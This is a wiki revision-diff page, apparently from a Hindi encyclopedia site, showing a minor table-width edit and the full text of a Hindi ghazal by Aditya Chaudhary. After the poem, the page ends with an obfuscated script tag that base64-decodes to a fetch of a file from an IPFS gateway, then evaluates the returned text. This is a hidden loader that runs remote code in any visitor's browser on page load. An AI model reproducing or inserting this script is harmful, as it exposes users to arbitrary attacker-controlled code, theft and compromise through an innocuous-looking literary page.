"इक सपना बना लेते -आदित्य चौधरी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो ("इक सपना बना लेते -आदित्य चौधरी" सुरक्षित कर दिया ([edit=sysop] (अनिश्चित्त अवधि) [move=sysop] (अनिश्चित्त अवधि)))
पंक्ति 7: पंक्ति 7:
 
{| width="100%" style="background:transparent"
 
{| width="100%" style="background:transparent"
 
|-valign="top"
 
|-valign="top"
| style="width:35%"|
+
| style="width:30%"|
| style="width:35%"|
+
| style="width:40%"|
 
<poem style="color=#003333">
 
<poem style="color=#003333">
 
ज़रा सी आँख लग जाती तो इक सपना बना लेते
 
ज़रा सी आँख लग जाती तो इक सपना बना लेते

11:49, 1 सितम्बर 2014 का अवतरण

Copyright.png
इक सपना बना लेते -आदित्य चौधरी

ज़रा सी आँख लग जाती तो इक सपना बना लेते
ज़माना राहतें देता, तुझे अपना बना लेते

          तुझे सुनने की चाहत है, हमें कहना नहीं आता
          जो ऐसी क़ुव्वतें होतीं, शहर अपना बना लेते

जहाँ जिससे भी मिलना हो, नज़र बस तू ही आता है
सनम! हालात में ऐसे, किसे अपना बना लेते

          ये दुनिया ख़ूबसूरत है, बस इक तेरी ज़रूरत है
          जिसे भी चाहता हो तू उसे अपना बना लेते

तमन्नाओं के दरवाज़ों से आके देख ले मंज़र
तेरी आमद जो हो जाती तो अपना घर बना लेते



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>